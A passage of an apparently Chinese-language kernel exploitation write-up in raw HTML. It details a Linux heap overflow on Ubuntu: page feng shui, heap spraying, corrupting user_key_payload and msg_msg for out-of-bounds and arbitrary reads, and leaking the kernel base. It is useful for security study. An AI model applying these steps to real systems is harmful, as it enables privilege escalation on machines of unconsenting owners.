inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">rcu</span>;</span>        <span style="font-size: inherit;color: rgb(128, 128, 128);line-height: inherit;margin: 0px;padding: 0px;">// rcu指针可以被设置为NULL</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">unsigned</span> <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">short</span>  datalen;    <span style="font-size: inherit;color: rgb(128, 128, 128);line-height: inherit;margin: 0px;padding: 0px;">/* length of this data */</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">char</span>        data[] __aligned(__alignof__(u64)); <span style="font-size: inherit;color: rgb(128, 128, 128);line-height: inherit;margin: 0px;padding: 0px;">/* actual data */</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>};<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/></code></pre><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">key长度限制</strong>：Ubuntu 上默认会限制key的数量和长度。问题是导致溢出的对象位于 8-page，我们在漏洞对象后面也要布置一个 8-page 对象（暂时称为 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">victim slab</code>），而在Ubuntu上，只有 kmalloc-2k / kmalloc-4k / kmalloc-8k 会从 order-3 取页。所以至少要使key被分配在 kmalloc-2k 上，才能使key位于 8-page 的页中。</p><pre style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;font-size: 14px;color: rgb(169, 183, 198);line-height: 18px;margin: 0px 2px;padding: 0.5em;overflow-wrap: normal !important;border-radius: 0px;background: none 0% 0% repeat scroll rgb(40, 43, 46);font-family: Consolas, Inconsolata, Courier, monospace;display: block;word-break: normal !important;overflow-x: auto;overflow-y: auto !important;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;">$ sudo cat /proc/sys/kernel/keys/maxbytes <br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>20000<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>$ sudo cat /proc/sys/kernel/keys/maxkeys <br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>200<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/></code></pre><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">victim个数限制</strong>：可以用8个 kmalloc-4k 对象来填充<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">victim slab</code>，采用长度为 2049 的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">user_key_payload</code> 即可。这样 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">user_key_payload</code> 总长度为 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">2049*8=16392</code>，由于限制最多 20000 字节的key，只剩下 1 个 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">user_key_payload</code> 可用 — <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">((20000-16392)/2049 = 1)</code>，所以最多可以布置2个 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">victim slab</code>，条件非常严苛。</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5625579240037072" style="" data-type="gif" data-w="1079" src="https://wechat2rss.xlab.app/img-proxy/?k=cd4c1849&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FRcjPiba6l3dpJ0ekOWuC958TtjFPTaXXS2to9ZSel1AzLP0l5hiaR8BUNwOsuJIib7ibwLyic6lQ4JyYSoclu1HmWdA%2F640%3Fwx_fmt%3Dgif"/></p><figure style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><figcaption style="font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;margin: 10px 0px 0px;padding: 0px;text-align: center;">5-weak-page-fengshui</figcaption></figure><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">增大victim个数</strong>：可以每个 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">victim slab</code> 放一个 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">user_key_payload</code> 对象，剩下的空间填充其他对象，<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">user_key_payload</code> 可以在 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">victim slab</code> 中任意位置，因为本漏洞可以溢出覆盖整个 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">victim slab</code>。这样，我们就可以喷9个 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">victim slab</code> 了，增大的泄露的成功几率。</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5625579240037072" style="" data-type="gif" data-w="1079" src="https://wechat2rss.xlab.app/img-proxy/?k=421ed2ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FRcjPiba6l3dpJ0ekOWuC958TtjFPTaXXSL6sBN7aJKExEuiaTNGSUuicYORQLVP8q41SqA6EMRL5tuInHgpOic7qpw%2F640%3Fwx_fmt%3Dgif"/></p><figure style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><figcaption style="font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;margin: 10px 0px 0px;padding: 0px;text-align: center;">6-strong-page-fengshui</figcaption></figure><h3 style="font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">3-2 泄露内核基址</span></h3><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">方法</strong>：其实本可以直接在 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">victim slab</code> 后面放一个包含内核指针的对象，但是作者很想尝试 post 中通过篡改 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg-&gt;next</code> 进行任意读写的技术。先通过 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">user_key_payload</code> 越界读来泄露 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg-&gt;next</code> 指针，然后伪造 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg-&gt;m_ts</code> &amp; <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg-&gt;next</code> （<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg-&gt;security</code> 在Ubuntu上没用，可覆盖为0）进行任意读。</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">泄露<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg-&gt;next</code></strong>：堆上布局3个相邻的对象—— <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">vul object</code> -&gt; <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">user_key_payload</code> -&gt; <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg</code>，注意 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg-&gt;next</code> 指向 kmalloc-32，并堆喷大量的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">struct seq_operations</code> 对象。触发越界写来篡改 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">user_key_payload-&gt;datalen</code>，通过 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">user_key_payload</code> 越界读来泄露 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg-&gt;next</code> 指针。为了增大成功几率，可以创建9对这种布局（3个相邻对象的堆布局）。</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">泄露内核基址</strong>：堆上布局2个相邻的对象——<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">vul object</code> -&gt; <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg</code>，触发越界写来篡改 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg-&gt;m_ts</code> &amp; <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg-&gt;next</code> ，通过 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg</code> 越界读来泄露 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">struct seq_operations</code> 对象上的函数指针（因为之前泄露的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg-&gt;next</code> 指向 kmalloc-32，而kmalloc-32 上已经喷射了很多 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">struct seq_operations</code> 对象）。</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">总体步骤</strong>：（1）~（8）泄露 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg-&gt;next</code> ，（9）~（12）泄露内核基址。</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（1）分配大量8-page 页来耗尽 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">order-3</code> 的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">free_list</code>，这样 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">order-3</code> 就会从 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">order-4</code> 取页，保证内存连续性；</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（2）分配3个连续的 8-page dumy 对象（占位对象）；（<strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">占位对象采用 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">ring_buffer</code></strong>）</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（3）释放第2个占位对象，分配1个8-page slab，其中包含1个 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">user_key_payload</code> 对象和7个其他对象（<strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">这7个对象采用多个子线程调用<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">setxattr()</code>来堆喷</strong>）；</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（4）释放第3个占位对象，分配1个8-page slab，填满大小在4056~4072之间的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg</code>，使得 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msgseg</code> 位于 kmalloc-32；</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（5）喷射大量的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">struct seq_operations</code>，和第4步的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msgseg</code> 位于同一cache；</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（6）释放第1个占位对象，分配漏洞对象，触发越界写来修改 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">user_key_payload-&gt;datalen</code>；</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（7）如果第（6）步成功，就能通过 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">user_key_payload</code> 进行越界读；</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（8）如果第（7）步成功，就能泄露出 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 